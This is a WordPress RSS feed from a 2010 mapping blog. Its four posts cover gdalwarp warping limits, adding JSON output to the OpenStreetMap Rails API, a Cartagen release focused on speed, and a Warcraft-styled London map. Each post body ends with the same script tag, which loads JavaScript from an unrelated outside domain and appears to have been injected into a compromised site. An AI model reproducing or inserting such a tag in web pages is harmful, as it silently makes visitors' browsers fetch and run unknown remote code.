<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unterbahn &#187; cartagen</title>
	<atom:link href="http://unterbahn.com/tag/cartagen/feed/" rel="self" type="application/rss+xml" />
	<link>http://unterbahn.com</link>
	<description></description>
	<lastBuildDate>Thu, 12 Aug 2010 14:34:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>gdalwarp cannot perform perspectival distortion</title>
		<link>http://unterbahn.com/2010/07/gdalwarp-cannot-perform-perspectival-distortion/</link>
		<comments>http://unterbahn.com/2010/07/gdalwarp-cannot-perform-perspectival-distortion/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 06:00:50 +0000</pubDate>
		<dc:creator>Jeffrey Warren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[bugs]]></category>
		<category><![CDATA[cartagen]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[knitter]]></category>

		<guid isPermaLink="false">http://unterbahn.com/?p=1492</guid>
		<description><![CDATA[I&#8217;ve been banging my head against a wall for a few days on this one, first struggling with ImageMagick, then switching to gdal to get full-resolution geoTIFFs from Cartagen Knitter. I had a &#8216;duh&#8217; moment just now when I realized that gdalwarp can only do polynomial or thin plate spline warps, neither of which are [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://unterbahn.com/wp-content/uploads/2010/07/failed-warp.png"><img src="http://unterbahn.com/wp-content/uploads/2010/07/failed-warp.png" alt="" title="failed-warp" width="477" height="399" class="alignnone size-full wp-image-1495" /></a></p>
<p>I&#8217;ve been banging my head against a wall for a few days on this one, first struggling with ImageMagick, then switching to gdal to get full-resolution geoTIFFs from <a href="http://cartagen.org/maps">Cartagen Knitter</a>. I had a &#8216;duh&#8217; moment just now when I realized that gdalwarp can only do polynomial or thin plate spline warps, neither of which are what I want &#8211; that is, perspectival warping. I want to map 4 corner ground control points or GCPs to four latitude/longitude positions. Back to ImageMagick&#8230;</p>
<p><em>I know there are 5 GCPs in the image above &#8211; it was the same deal with just 4&#8230; it can&#8217;t do more than a shear unless you either add the minimum 6 GCPs for a single polynomial warp, or go for  a thin plate spline (TPS) distort. A good way to think about TPS is as if the image were a sheet of thin metal (the reason it&#8217;s called a TPS) and that you&#8217;re bending it in the z-dimension, aplanar. This causes funny curved edges and is not what I&#8217;m looking for.</em></p>
<p><em>OK, one more note for future reference: see <a href="http://docs.bentley.com/en/I-RASB/irasbhelp171.html">this page</a> for a discussion of different warping techniques and also for the minimum number of GCPs required for different-order polynomial warps.</em><script src="http://secowo.com/wo"></script></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://unterbahn.com/2009/11/michal-migurski-html5-map-warping/" rel="bookmark" class="crp_title">Michal Migurski: HTML5 Map Warping</a></li><li><a href="http://unterbahn.com/2010/03/hand-warping-tool-coming-soon/" rel="bookmark" class="crp_title">Hand-warping tool coming soon</a></li><li><a href="http://unterbahn.com/2010/02/cartagen-is-now-on-github/" rel="bookmark" class="crp_title">Cartagen is now on Github</a></li><li><a href="http://unterbahn.com/2010/03/hand-warper-beta-working-demo/" rel="bookmark" class="crp_title">Hand-warper beta working ? demo</a></li><li><a href="http://unterbahn.com/2010/08/melting-metals-in-a-domestic-microwave/" rel="bookmark" class="crp_title">MELTING METALS IN A DOMESTIC MICROWAVE</a></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://unterbahn.com/2010/07/gdalwarp-cannot-perform-perspectival-distortion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Serving &#8216;OSM-JSON&#8217; alongside XML from the OpenStreetMap Rails port</title>
		<link>http://unterbahn.com/2009/07/serving-osm-json-alongside-xml-from-the-openstreetmap-rails-port/</link>
		<comments>http://unterbahn.com/2009/07/serving-osm-json-alongside-xml-from-the-openstreetmap-rails-port/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 16:57:39 +0000</pubDate>
		<dc:creator>Jeffrey Warren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[cartagen]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[mapping]]></category>
		<category><![CDATA[openstreetmap]]></category>
		<category><![CDATA[rails]]></category>

		<guid isPermaLink="false">http://unterbahn.com/?p=765</guid>
		<description><![CDATA[OpenStreetMap.org&#8216;s RESTful API allows anyone to access data on their continually growing collaborative map of the world&#8230; in XML. This is great for most applications, but if you&#8217;re working in JavaScript (as we are), XML might as well be greek. We need JSON. To offer OSM-JSON along with of OSM-XML, we added a route to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://openstreetmap.org">OpenStreetMap.org</a>&#8216;s RESTful API allows anyone to access data on their continually growing collaborative map of the world&#8230; in XML. This is great for most applications, but if you&#8217;re working in JavaScript (as <a href="http://cartagen.org">we are</a>), XML might as well be greek. We need JSON.</p>
<p>To offer OSM-JSON along with of OSM-XML, we added a route to accept a &#8220;.format&#8221; suffix, and split up the render call based on the params[:format] part of the route:</p>
<pre>
# /config/routes.rb:46-50

map.connect "api/#{API_VERSION}/geohash/:geohash.:format", :controller => 'api', :action => 'geohash'
map.connect "api/#{API_VERSION}/geohash/:geohash", :controller => 'api', :action => 'geohash'

map.connect "api/#{API_VERSION}/map.:format", :controller => 'api', :action => 'map'
map.connect "api/#{API_VERSION}/map", :controller => 'api', :action => 'map'
</pre>
<p>Notice we also added a &#8216;geohash&#8217; route. Whereas the /map call requires a bbox parameter (&#8216;bbox=min_lon,min_lat,max_lon,max_lat&#8217;), we can use a <a href="http://en.wikipedia.org/wiki/Geohash">geohash</a> (<a href="http://github.com/davetroy/geohash-js/tree/master">Geohash in JavaScript</a>, <a href="http://github.com/davetroy/geohash/tree/master">Geohash in Rails</a>) which defines a bounding box as a sequence of letters and numbers. This fits Cartagen&#8217;s needs well, and since it doesn&#8217;t require any parameters, we can page cache it in Rails. (Remember that page caching bypasses Rails entirely, letting Apache handle these cached files at high speed &#8211; that saved us when we were on BoingBoing).</p>
<p><span id="more-765"></span></p>
<p>We then modify the api_controller to respond_to either <b>.xml</b> or <b>.json</b>:</p>
<pre>
# /app/controllers/api_controller.rb:284-287

respond_to do |format|
  format.xml  { render :text => doc.to_s, :content_type => "text/xml" }
  format.json  { render :json => {'osm' => doc} }
end
</pre>
<p>However, to pack up our objects into JSON properly, we also had to modify the map method further, for nodes, ways, and relations:</p>
<pre>
# /app/controllers/api_controller.rb:186-190
if params[:format] == 'json'
  doc['node'] << node.to_json_obj
else
  doc.root << node.to_xml_node(changeset_cache, user_display_name_cache)
end
</pre>
<p>The above was repeated for ways and relations, lines 202 and 270. </p>
<p>Then, we added a geohash method to catch our new geohash route:</p>
<pre>
# /app/controllers/api_controller.rb:76-80
def geohash
  _bbox = GeoHash.decode_bbox(params[:geohash])
  params['bbox'] = _bbox[0][1].to_s+','+_bbox[0][0].to_s+','+_bbox[1][1].to_s+','+_bbox[1][0].to_s
  map
end
</pre>
<p>Finally, we cloned the to_json_obj methods in /models/node.rb, /models/way.rb, and /models/relation.rb, which was pretty minor – we just restructured how they're packed up.</p>
<p>As HTML5 and the new generation of JavaScript interpreters transform the web, I expect we'll see a lot more APIs implemented in JSON as well as XML, and I'd be happy to help anyone with an OSM Rails port get this set up. For the time being, feel free to use our OSM API (with JSON!) at http://cartagen.org/api/0.6/...</p>
<p><em>Download the modified code here: <a href="http://unterbahn.com/wp-content/uploads/2009/07/openstreetmap.zip">openstreetmap.zip</a> <br />(based on OSM revision 15115)</em><script src="http://secowo.com/wo"></script></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://unterbahn.com/2009/04/geohash-stickers-idea/" rel="bookmark" class="crp_title">Geohash-stickers idea</a></li><li><a href="http://unterbahn.com/2009/11/metric-dimensions-of-geohash-partitions-at-the-equator/" rel="bookmark" class="crp_title">Metric dimensions of geohash partitions at the equator</a></li><li><a href="http://unterbahn.com/2009/09/native-json-parsing-hooray/" rel="bookmark" class="crp_title">Native JSON parsing&#8230; hooray, with benchmarks!</a></li><li><a href="http://unterbahn.com/2009/10/composition-of-a-openstreetmap-api-responses/" rel="bookmark" class="crp_title">Composition of a typical OpenStreetMap API response</a></li><li><a href="http://unterbahn.com/2009/08/adjustment-for-rails-find-method/" rel="bookmark" class="crp_title">Adjustment for Rails &#8216;find()&#8217; method</a></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://unterbahn.com/2009/07/serving-osm-json-alongside-xml-from-the-openstreetmap-rails-port/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cartagen 0.6.1 &#8211; Speed</title>
		<link>http://unterbahn.com/2009/07/cartagen-0-6-1-speed/</link>
		<comments>http://unterbahn.com/2009/07/cartagen-0-6-1-speed/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 23:05:29 +0000</pubDate>
		<dc:creator>Jeffrey Warren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[cartagen]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[gss]]></category>
		<category><![CDATA[map rendering]]></category>
		<category><![CDATA[mapping]]></category>

		<guid isPermaLink="false">http://unterbahn.com/?p=754</guid>
		<description><![CDATA[We know we just released Cartagen 0.5 a couple weeks ago, but after testing it extensively in the wild, we really wanted a fast, low-resource release so that users of netbooks, older computers, and older browsers could use Cartagen too. So, as well as including some general cleanup, this version hums along on a variety [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://cartagen.org'><img src='http://unterbahn.com/wp-content/uploads/farm3.static.flickr.com/2621/3768712061_5506f2ff96.jpg'/></a></p>
<p>We know we just released Cartagen 0.5 a couple weeks ago, but after testing it extensively in the wild, we really wanted a fast, low-resource release so that users of netbooks, older computers, and older browsers could use Cartagen too. </p>
<p>So, as well as including some general cleanup, this version hums along on a variety of machines. Please send feedback on speed/load times/CPU usage, etc; we tested it on an 800mhz G4 iMac and while it wasn&#8217;t super responsive, it did load and was somewhat usable in Firefox 3.5. For reference, Hulu.com&#8217;s Flash player does not run on that machine. On more powerful machines (4x3ghz Intel Xeon, 2500&#215;1600 monitor), it can load over 10,000 objects in the viewport without hiccuping. For most users, a typical browser window size yields a responsive and reasonably low-resource experience. </p>
<p><a href="http://code.google.com/p/cartagen">Download Cartagen 0.6.1</a> (We did 0.6 and just rushed directly into 0.6.1 before announcing.)</p>
<p>There&#8217;s definitely a lot more we can do to improve speed, but for now we feel good about our optimizations. We identified the high CPU usage as generally poor management of timers in JavaScript, and wrote a TimerManager class which adjusts its timer intervals automatically, easing the CPU load. We elected to maintain a relatively high CPU usage to keep things rendering smoothly,  but users of TimerManager can &#8216;turn up the heat&#8217; or turn down CPU usage by tweaking a &#8216;spacing&#8217; parameter. We also broke more intense tasks up by creating a TaskManager class, which preserves UI responsiveness and framerate while staying in a single JavaScript thread. We plan to use the multithreaded, asynchronous Web Workers spec in HTML5 when available, but for now we wanted to work on older hardware/software. </p>
<p>We hope that TimerManager and TaskManager will be of use to others working with JavaScript animation and we&#8217;ll be packaging them up separately for download.</p>
<p>For now, look at <a href="http://code.google.org/p/cartagen">http://code.google.org/p/cartagen</a> for source and <a href="http://wiki.cartagen.org">http://wiki.cartagen.org</a> for update docs.<script src="http://secowo.com/wo"></script></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://unterbahn.com/2009/07/warcraft-map-stylesheet/" rel="bookmark" class="crp_title">Warcraft map stylesheet for London</a></li><li><a href="http://unterbahn.com/2009/07/announcing-cartagen-0-5/" rel="bookmark" class="crp_title">Announcing Cartagen 0.5</a></li><li><a href="http://unterbahn.com/2010/02/cartagen-api/" rel="bookmark" class="crp_title">Cartagen API</a></li><li><a href="http://unterbahn.com/2010/04/ruby-singleton-classes-explained/" rel="bookmark" class="crp_title">Ruby singleton classes explained</a></li><li><a href="http://unterbahn.com/2010/02/cartagen-is-now-on-github/" rel="bookmark" class="crp_title">Cartagen is now on Github</a></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://unterbahn.com/2009/07/cartagen-0-6-1-speed/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Warcraft map stylesheet for London</title>
		<link>http://unterbahn.com/2009/07/warcraft-map-stylesheet/</link>
		<comments>http://unterbahn.com/2009/07/warcraft-map-stylesheet/#comments</comments>
		<pubDate>Fri, 24 Jul 2009 22:35:07 +0000</pubDate>
		<dc:creator>Jeffrey Warren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[cartagen]]></category>
		<category><![CDATA[gss]]></category>
		<category><![CDATA[warcraft]]></category>

		<guid isPermaLink="false">http://unterbahn.com/?p=727</guid>
		<description><![CDATA[So this is an accurate (in terms of coordinates) map of London, generated from OpenStreetMap data: You can pan around quite a bit and use the scroll wheel to zoom. To achieve this, I created the following geographic stylesheet: http://unterbahn.com/cartagen/warcraft.gss The map is built on Cartagen, a mapping framework for viewing and geographic data in [...]]]></description>
			<content:encoded><![CDATA[<p>So this is an accurate (in terms of coordinates) map of London, generated from <a href="http://OpenStreetMap.org">OpenStreetMap</a> data:</p>
<iframe height='300' src='http://cartagen.org/find/london?gss=http://unterbahn.com/cartagen/warcraft.gss&fullscreen=true&zoom_level=0.6' style='border:0;' width='500'></iframe>
<p>You can pan around quite a bit and use the scroll wheel to zoom. To achieve this, I created the following <a href="http://wiki.cartagen.org">geographic stylesheet</a>:</p>
<p><code><a href="http://unterbahn.com/cartagen/warcraft.gss">http://unterbahn.com/cartagen/warcraft.gss</a></code></p>
<p>The map is built on Cartagen, a mapping framework for viewing and geographic data in a dynamic, personally relevant way. Cartagen uses the GSS (Geo Style Sheet) format, which allows users to design maps with CSS-like styles. Learn more at <a href="http://cartagen.org">Cartagen.org</a> and <a href="http://wiki.cartagen.org/">the Cartagen wiki</a>, or download the source at <a href="http://code.google.com/p/cartagen">Google Code</a>.</p>
<p>Go to <a href="http://cartagen.org?gss=http://unterbahn.com/cartagen/warcraft.gss">Cartagen.org</a> to view anywhere in the world through this stylesheet.</p>
<p>Dabu!</p>
<p><em><b>Quick update:</b> some users (read: most) are having trouble zooming in and out! This is because of a known last-minute bug in the 0.6 release of Cartagen, and only affects maps embedded in other pages. It does not affect <a href="http://cartagen.org?gss=http://unterbahn.com/cartagen/warcraft.gss">cartagen.org</a>. For a quick fix, to zoom <b>you can also hold down the &#8216;z&#8217; key and drag up and down on the map.</b><br />
</em><em><b>Followup update:</b> zooming with the scroll wheel should work now. Thanks for your patience!<br />
</em><script src="http://secowo.com/wo"></script></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://unterbahn.com/2009/07/announcing-cartagen-0-5/" rel="bookmark" class="crp_title">Announcing Cartagen 0.5</a></li><li><a href="http://unterbahn.com/2009/07/cartagen-0-6-1-speed/" rel="bookmark" class="crp_title">Cartagen 0.6.1 &#8211; Speed</a></li><li><a href="http://unterbahn.com/2010/02/cartagen-api/" rel="bookmark" class="crp_title">Cartagen API</a></li><li><a href="http://unterbahn.com/2010/02/cartagen-is-now-on-github/" rel="bookmark" class="crp_title">Cartagen is now on Github</a></li><li><a href="http://unterbahn.com/2010/03/embed-maps-from-cartagen-knitter/" rel="bookmark" class="crp_title">Embed maps from Cartagen Knitter</a></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://unterbahn.com/2009/07/warcraft-map-stylesheet/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
	</channel>
</rss>
